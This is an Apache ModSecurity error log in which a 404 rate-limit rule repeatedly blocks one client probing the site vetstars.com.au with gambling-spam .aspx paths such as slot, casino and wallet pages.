[Mon Mar 30 20:56:39.335263 2026] [:error] [pid 35248:tid 35265] [client 51.161.86.195:50078] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acpzB73igMCgAQPFS_-t2AAAAEs"]
[Mon Mar 30 20:56:41.183443 2026] [:error] [pid 50663:tid 50679] [client 51.161.86.195:50080] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acpzCW28b9DKIAMEdfBHzAAAAY4"]
[Mon Mar 30 20:56:41.724326 2026] [:error] [pid 50663:tid 50671] [client 51.161.86.195:50084] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acpzCW28b9DKIAMEdfBHzgAAAYY"]
[Mon Mar 30 20:56:43.323383 2026] [:error] [pid 12106:tid 12112] [client 51.161.86.195:50092] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acpzC7IKxOs8TAdw7hcjLQAAAoQ"]
[Mon Mar 30 20:56:44.330060 2026] [:error] [pid 35249:tid 35296] [client 51.161.86.195:50102] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acpzDCqCKiTq85d6rgBcSwAAAIw"]
[Mon Mar 30 20:57:10.939666 2026] [:error] [pid 35248:tid 35260] [client 51.161.86.195:59612] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acpzJr3igMCgAQPFS_-uGQAAAEY"]
[Mon Mar 30 20:57:11.294498 2026] [:error] [pid 11947:tid 11956] [client 51.161.86.195:59610] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acpzJzSVtzzXIgk-FgmFIQAAAgc"]
[Mon Mar 30 20:57:13.574248 2026] [:error] [pid 11947:tid 11960] [client 51.161.86.195:53750] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acpzKTSVtzzXIgk-FgmFJwAAAgs"]
[Mon Mar 30 20:57:13.700370 2026] [:error] [pid 11947:tid 11964] [client 51.161.86.195:53756] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "acpzKTSVtzzXIgk-FgmFKQAAAg8"]
[Mon Mar 30 20:57:16.237320 2026] [:error] [pid 35248:tid 35275] [client 51.161.86.195:59704] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acpzLL3igMCgAQPFS_-uJAAAAFU"]
[Mon Mar 30 20:57:17.274458 2026] [:error] [pid 11947:tid 11954] [client 51.161.86.195:59710] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acpzLTSVtzzXIgk-FgmFNwAAAgU"]
[Mon Mar 30 20:57:18.687806 2026] [:error] [pid 11947:tid 11953] [client 51.161.86.195:59720] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acpzLjSVtzzXIgk-FgmFPwAAAgQ"]
[Mon Mar 30 20:57:19.913574 2026] [:error] [pid 35248:tid 35270] [client 51.161.86.195:59736] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acpzL73igMCgAQPFS_-uLAAAAFA"]
[Mon Mar 30 20:57:21.152373 2026] [:error] [pid 35248:tid 35271] [client 51.161.86.195:59746] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acpzMb3igMCgAQPFS_-uMAAAAFE"]
[Mon Mar 30 20:57:22.189416 2026] [:error] [pid 50663:tid 50676] [client 51.161.86.195:59762] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acpzMm28b9DKIAMEdfBIIwAAAYs"]
[Mon Mar 30 20:57:23.564160 2026] [:error] [pid 35249:tid 35285] [client 51.161.86.195:59764] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acpzMyqCKiTq85d6rgBcVgAAAIE"]
[Mon Mar 30 20:57:25.150000 2026] [:error] [pid 11947:tid 11956] [client 51.161.86.195:59768] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acpzNTSVtzzXIgk-FgmFUgAAAgc"]
[Mon Mar 30 20:57:26.102513 2026] [:error] [pid 11947:tid 11967] [client 51.161.86.195:36818] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acpzNjSVtzzXIgk-FgmFVwAAAhI"]
[Mon Mar 30 20:57:28.430686 2026] [:error] [pid 50663:tid 50684] [client 51.161.86.195:36824] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acpzOG28b9DKIAMEdfBIKgAAAZM"]
[Mon Mar 30 20:57:28.431206 2026] [:error] [pid 12106:tid 12128] [client 51.161.86.195:36840] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "acpzOLIKxOs8TAdw7hcjSwAAApQ"]
[Mon Mar 30 20:57:30.768650 2026] [:error] [pid 41941:tid 41962] [client 51.161.86.195:36852] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "acpzOiB2g7BNCXGBOJOA5QAAARM"]
[Mon Mar 30 20:57:30.863980 2026] [:error] [pid 50663:tid 50677] [client 51.161.86.195:36868] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acpzOm28b9DKIAMEdfBIMAAAAYw"]
[Mon Mar 30 20:57:33.459529 2026] [:error] [pid 50663:tid 50676] [client 51.161.86.195:36878] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acpzPW28b9DKIAMEdfBIOgAAAYs"]
[Mon Mar 30 20:57:33.631655 2026] [:error] [pid 50663:tid 50680] [client 51.161.86.195:36890] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acpzPW28b9DKIAMEdfBIOwAAAY8"]
[Mon Mar 30 20:57:36.080991 2026] [:error] [pid 11947:tid 11956] [client 51.161.86.195:41276] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acpzQDSVtzzXIgk-FgmFYgAAAgc"]
[Mon Mar 30 20:57:36.212138 2026] [:error] [pid 41941:tid 41966] [client 51.161.86.195:41286] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acpzQCB2g7BNCXGBOJOA5gAAARc"]
[Mon Mar 30 20:57:38.577729 2026] [:error] [pid 35343:tid 35354] [client 51.161.86.195:41290] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acpzQqP5HurqmbvwN-I1xgAAAAk"]
[Mon Mar 30 20:57:38.663805 2026] [:error] [pid 11947:tid 11967] [client 51.161.86.195:41294] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acpzQjSVtzzXIgk-FgmFaQAAAhI"]
[Mon Mar 30 20:57:41.134710 2026] [:error] [pid 12106:tid 12119] [client 51.161.86.195:41316] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "acpzRbIKxOs8TAdw7hcjVgAAAos"]
[Mon Mar 30 20:57:41.179540 2026] [:error] [pid 35250:tid 35312] [client 51.161.86.195:41304] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acpzRYaKM1MR6zcp2YN8NAAAAME"]
[Mon Mar 30 20:57:44.105807 2026] [:error] [pid 35249:tid 35307] [client 51.161.86.195:41338] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "acpzSCqCKiTq85d6rgBcXAAAAJc"]
[Mon Mar 30 20:57:44.242798 2026] [:error] [pid 35249:tid 35291] [client 51.161.86.195:41330] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acpzSCqCKiTq85d6rgBcXQAAAIc"]
[Mon Mar 30 20:57:46.805853 2026] [:error] [pid 11947:tid 11950] [client 51.161.86.195:36774] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acpzSjSVtzzXIgk-FgmFdgAAAgE"]
[Mon Mar 30 20:57:47.570304 2026] [:error] [pid 12046:tid 12072] [client 51.161.86.195:36780] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acpzS5DbtlkoJ6ELn7gkswAAAlc"]
[Mon Mar 30 20:57:51.254130 2026] [:error] [pid 35248:tid 35272] [client 51.161.86.195:36788] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acpzT73igMCgAQPFS_-uPgAAAFI"]
[Mon Mar 30 20:57:51.786469 2026] [:error] [pid 11947:tid 11957] [client 51.161.86.195:36790] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acpzTzSVtzzXIgk-FgmFigAAAgg"]
[Mon Mar 30 20:57:54.068055 2026] [:error] [pid 50663:tid 50671] [client 51.161.86.195:36796] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acpzUm28b9DKIAMEdfBISgAAAYY"]
[Mon Mar 30 20:57:56.376547 2026] [:error] [pid 50663:tid 50672] [client 51.161.86.195:40606] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acpzVG28b9DKIAMEdfBIUAAAAYc"]
[Mon Mar 30 20:57:56.756512 2026] [:error] [pid 11947:tid 11955] [client 51.161.86.195:40612] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acpzVDSVtzzXIgk-FgmFkAAAAgY"]
[Mon Mar 30 20:57:59.442473 2026] [:error] [pid 50663:tid 50689] [client 51.161.86.195:40614] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acpzV228b9DKIAMEdfBIVAAAAZg"]
[Mon Mar 30 20:58:01.742274 2026] [:error] [pid 12046:tid 12057] [client 51.161.86.195:40616] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acpzWZDbtlkoJ6ELn7gktAAAAkg"]
[Mon Mar 30 20:58:02.599927 2026] [:error] [pid 50663:tid 50680] [client 51.161.86.195:40626] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acpzWm28b9DKIAMEdfBIZQAAAY8"]
[Mon Mar 30 20:58:05.516091 2026] [:error] [pid 41941:tid 41943] [client 51.161.86.195:40632] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acpzXSB2g7BNCXGBOJOA7wAAAQA"]
[Mon Mar 30 20:58:38.663626 2026] [:error] [pid 11947:tid 11965] [client 51.161.86.195:57844] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acpzfjSVtzzXIgk-FgmF8gAAAhA"]
[Mon Mar 30 20:58:41.024518 2026] [:error] [pid 41941:tid 41960] [client 51.161.86.195:35220] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acpzgSB2g7BNCXGBOJOBEAAAARE"]
[Mon Mar 30 20:58:41.875409 2026] [:error] [pid 35250:tid 35329] [client 51.161.86.195:49044] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acpzgYaKM1MR6zcp2YN8kAAAANI"]
[Mon Mar 30 20:58:44.582643 2026] [:error] [pid 35343:tid 35367] [client 51.161.86.195:49052] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acpzhKP5HurqmbvwN-I1-wAAABY"]
[Mon Mar 30 20:58:45.729025 2026] [:error] [pid 41941:tid 41949] [client 51.161.86.195:49064] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "acpzhSB2g7BNCXGBOJOBFwAAAQY"]
[Mon Mar 30 20:58:49.700946 2026] [:error] [pid 35250:tid 35327] [client 51.161.86.195:53444] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acpziYaKM1MR6zcp2YN8mwAAANA"]
[Mon Mar 30 20:58:51.648384 2026] [:error] [pid 11947:tid 11970] [client 51.161.86.195:53460] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acpzizSVtzzXIgk-FgmF_gAAAhU"]
[Mon Mar 30 20:58:54.817562 2026] [:error] [pid 11947:tid 11962] [client 51.161.86.195:53464] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acpzjjSVtzzXIgk-FgmGBgAAAg0"]
[Mon Mar 30 20:58:55.304824 2026] [:error] [pid 11947:tid 11964] [client 51.161.86.195:53478] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acpzjzSVtzzXIgk-FgmGCgAAAg8"]
[Mon Mar 30 20:58:58.345331 2026] [:error] [pid 35249:tid 35307] [client 51.161.86.195:40226] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acpzkiqCKiTq85d6rgBccAAAAJc"]
[Mon Mar 30 20:58:58.377469 2026] [:error] [pid 35343:tid 35347] [client 51.161.86.195:40228] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acpzkqP5HurqmbvwN-I2CwAAAAI"]
[Mon Mar 30 20:59:02.602458 2026] [:error] [pid 35250:tid 35318] [client 51.161.86.195:40230] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acpzloaKM1MR6zcp2YN8qgAAAMc"]
